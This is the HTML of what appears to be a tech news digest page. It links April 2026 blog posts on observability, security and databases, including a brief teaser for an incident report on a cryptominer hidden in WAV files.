              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Continuous profiling is becoming a standard part of the observability stack, and for good reason. It&#39;s the only signal that tells you why your code is slow or expensive, not just that it is. Metrics t</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/pyroscope-2-0-release/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-o11y-bench-an-open-benchmark-for-ai-agents-running-observability-workflows" class="group relative scroll-mt-24">
        <a href="#h3-introducing-o11y-bench-an-open-benchmark-for-ai-agents-running-observability-workflows" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing o11y-bench: an open benchmark for AI agents running observability workflows
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-o11y-bench-an-open-benchmark-for-ai-agents-running-observability-workflows"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Evaluating agents is hard. Verifying observability tasks is harder. Yes, AI agents have gotten dramatically and quantifiably better at coding and tool use, but observability presents a different kind </p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/o11y-bench-open-benchmark-for-observability-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-grafana-assistant-everywhere-customize-and-connect-to-the-ai-agent-to-fit-your-specific-needs" class="group relative scroll-mt-24">
        <a href="#h3-grafana-assistant-everywhere-customize-and-connect-to-the-ai-agent-to-fit-your-specific-needs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Grafana Assistant everywhere: Customize and connect to the AI agent to fit your specific needs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-grafana-assistant-everywhere-customize-and-connect-to-the-ai-agent-to-fit-your-specific-needs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The ways you and your teams build and observe your systems are changing. It’s no longer just engineers looking at dashboards, or writing queries or config files. More often, it’s an agent interacting </p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/grafana-assistant-everywhere/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-no-more-monkey-patching-better-observability-with-tracing-channels" class="group relative scroll-mt-24">
        <a href="#h3-no-more-monkey-patching-better-observability-with-tracing-channels" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 No more monkey-patching: Better observability with tracing channels
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-no-more-monkey-patching-better-observability-with-tracing-channels"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Find out how Node.js Tracing Channels enable libraries to emit their own telemetry, replacing monkey-patching and fixing ESM observability.</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/observability-with-tracing-channels/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ubuntu-1604-lts-has-reached-the-end-of-standard-expanded-security-maintenance-with-ubuntu-pro-here-are-your-options" class="group relative scroll-mt-24">
        <a href="#h3-ubuntu-1604-lts-has-reached-the-end-of-standard-expanded-security-maintenance-with-ubuntu-pro-here-are-your-options" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ubuntu 16.04 LTS has reached the end of standard Expanded Security Maintenance with Ubuntu Pro. Here are your options.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ubuntu-1604-lts-has-reached-the-end-of-standard-expanded-security-maintenance-with-ubuntu-pro-here-are-your-options"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Ubuntu 16.04 LTS (Xenial Xerus) reached the end of its five-year Expanded Security Maintenance (ESM) window in April 2026. If you are still running 16.04, it is critical to address your support status</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/ubuntu-16-04-lts-has-reached-the-end-of-standard-expanded-security-maintenance-with-ubuntu-pro-here-are-your-options"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-microsoft-turns-to-anthropics-mythos-to-improve-cyber-defense" class="group relative scroll-mt-24">
        <a href="#h3-microsoft-turns-to-anthropics-mythos-to-improve-cyber-defense" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Microsoft Turns to Anthropic’s Mythos to Improve Cyber Defense
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-microsoft-turns-to-anthropics-mythos-to-improve-cyber-defense"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Microsoft has unveiled plans to incorporate Anthropic’s Claude Mythos Preview model and other AI models into its Security Development Lifecycle, embedding AI directly into the stages where code is wri</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/microsoft-turns-to-anthropics-mythos-to-improve-cyber-defense/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-take-control-of-ai-code-quality-in-ci-live-demo" class="group relative scroll-mt-24">
        <a href="#h3-take-control-of-ai-code-quality-in-ci-live-demo" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Take Control of AI Code Quality in CI: Live Demo
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-take-control-of-ai-code-quality-in-ci-live-demo"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is accelerating coding, but without the right checks, it can also introduce risk, inconsistency, and hidden issues into your codebase. Businesses are offering “total automation” and “AI-driven chec</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/qodana/2026/04/take-control-of-ai-code-quality-in-ci-live-demo/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-confidential-clusters-for-red-hat-openshift-developer-preview-now-available-on-microsoft-azure-with-amd-sev-snp" class="group relative scroll-mt-24">
        <a href="#h3-confidential-clusters-for-red-hat-openshift-developer-preview-now-available-on-microsoft-azure-with-amd-sev-snp" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Confidential clusters for Red Hat OpenShift: Developer Preview now available on Microsoft Azure with AMD SEV-SNP
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-confidential-clusters-for-red-hat-openshift-developer-preview-now-available-on-microsoft-azure-with-amd-sev-snp"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Extending confidential computing from individual workloads to the entire cluster is a new frontier in cloud-native security.Today, Red Hat is announcing the Developer Preview of confidential clusters </p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/confidential-clusters-red-hat-openshift-developer-preview-now-available-microsoft-azure-amd-sev-snp"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-canonical-releases-ubuntu-2604-lts-resolute-raccoon" class="group relative scroll-mt-24">
        <a href="#h3-canonical-releases-ubuntu-2604-lts-resolute-raccoon" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Canonical releases Ubuntu 26.04 LTS Resolute Raccoon
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-canonical-releases-ubuntu-2604-lts-resolute-raccoon"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The 11th long-term supported release of Ubuntu delivers deep silicon optimization and state-of-the-art security for enterprise workloads.</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/canonical-releases-ubuntu-26-04-lts-resolute-raccoon"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-ingress-nginx-to-higress-migrating-60-resources-in-30-minutes-with-ai" class="group relative scroll-mt-24">
        <a href="#h3-from-ingress-nginx-to-higress-migrating-60-resources-in-30-minutes-with-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From Ingress NGINX to Higress: migrating 60+ resources in 30 minutes with AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-ingress-nginx-to-higress-migrating-60-resources-in-30-minutes-with-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>With the official retirement of Ingress NGINX that took place in March 2026, enterprise platform teams are facing an urgent security and compliance mandate. Remaining on a retired controller leaves cr</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/23/from-ingress-nginx-to-higress-migrating-60-resources-in-30-minutes-with-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-hardcoding-security-into-every-commit-the-future-of-snyk-secrets" class="group relative scroll-mt-24">
        <a href="#h3-hardcoding-security-into-every-commit-the-future-of-snyk-secrets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Hardcoding Security into Every Commit: The Future of Snyk Secrets
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-hardcoding-security-into-every-commit-the-future-of-snyk-secrets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Snyk Secrets bridges the gap between code and credentials with real-time, high-precision detection, ensuring your most sensitive data stays hidden while your developers stay fast.</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/future-snyk-secrets/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-jpmorgan-just-published-a-cyber-to-do-list-and-snyk-covers-8-of-the-10-items-how-do-you-stack-up" class="group relative scroll-mt-24">
        <a href="#h3-jpmorgan-just-published-a-cyber-to-do-list-and-snyk-covers-8-of-the-10-items-how-do-you-stack-up" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 JPMorgan Just Published a Cyber To-Do List and Snyk Covers 8 of the 10 Items. How do you stack up?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-jpmorgan-just-published-a-cyber-to-do-list-and-snyk-covers-8-of-the-10-items-how-do-you-stack-up"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>JPMorganChase published a 10-point cyber resilience checklist. See how Snyk covers 8 of the 10 actions and where it fits in your security stack.</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/snyk-covers-jpmorgan-cyber-list/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-sql-management-studio-for-postgresql-20-is-here-faster-safer-and-more-efficient" class="group relative scroll-mt-24">
        <a href="#h3-sql-management-studio-for-postgresql-20-is-here-faster-safer-and-more-efficient" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SQL Management Studio for PostgreSQL 2.0 Is Here — Faster, Safer, and More Efficient
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sql-management-studio-for-postgresql-20-is-here-faster-safer-and-more-efficient"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are excited to announce the release of SQL Management Studio for PostgreSQL 2.0 — a major update to our database management and administration solution. This version introduces a more intuitive vis</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/sql-management-studio-for-postgresql-20-is-here-faster-safer-and-more-efficient-3280/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-the-agentic-cloud-everything-we-launched-during-agents-week-2026" class="group relative scroll-mt-24">
        <a href="#h3-building-the-agentic-cloud-everything-we-launched-during-agents-week-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building the agentic cloud: everything we launched during Agents Week 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-the-agentic-cloud-everything-we-launched-during-agents-week-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agents Week 2026 is a wrap. Let’s take a look at everything we announced, from compute and security to the agent toolbox, platform tools, and the emerging agentic web. Everything we shipped for the ag</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/agents-week-in-review/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-native-opentelemetry-metrics-for-redis-client-libraries" class="group relative scroll-mt-24">
        <a href="#h3-native-opentelemetry-metrics-for-redis-client-libraries" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Native OpenTelemetry metrics for Redis client libraries
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-native-opentelemetry-metrics-for-redis-client-libraries"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When Redis server metrics look healthy but an application isn’t performing adequately (for instance, service time outs or p99 latency climbing for no obvious reason) the explanation is often not insid</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/native-opentelemetry-metrics-for-redis-client-libraries/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-4-dynamodb-configuration-changes-for-significant-cost-savings" class="group relative scroll-mt-24">
        <a href="#h3-4-dynamodb-configuration-changes-for-significant-cost-savings" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 4 DynamoDB Configuration Changes for Significant Cost Savings
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-dynamodb-configuration-changes-for-significant-cost-savings"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn about ways to cut DynamoDB costs with minimal code changes, zero migration, and no architectural upheaval.</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/23/4-dynamodb-configuration-changes-for-significant-cost-savings/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-tidb-and-the-rise-of-the-ai-native-database" class="group relative scroll-mt-24">
        <a href="#h3-tidb-and-the-rise-of-the-ai-native-database" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 TiDB and the Rise of the AI-Native Database
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tidb-and-the-rise-of-the-ai-native-database"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editor’s note: This post originally appeared on The New Stack and is republished with permission. The original version is available here. When enterprises talk about artificial intelligence, the atten</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/ai-native-database/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-storage_engine-107-columnar-row-compressed-table-access-methods-for-postgresql-16-18" class="group relative scroll-mt-24">
        <a href="#h3-storage_engine-107-columnar-row-compressed-table-access-methods-for-postgresql-16-18" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 storage_engine 1.0.7 – columnar + row-compressed Table Access Methods for PostgreSQL 16-18
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-storage_engine-107-columnar-row-compressed-table-access-methods-for-postgresql-16-18"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hi, I&#39;d like to announce storage_engine 1.0.7, a PostgreSQL extension providing two high-performance Table Access Methods: colcompress: column-oriented compressed storage with vectorized execution, ch</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/storage_engine-107-columnar-row-compressed-table-access-methods-for-postgresql-16-18-3279/"><strong>🔗 Read more</strong></a></p>
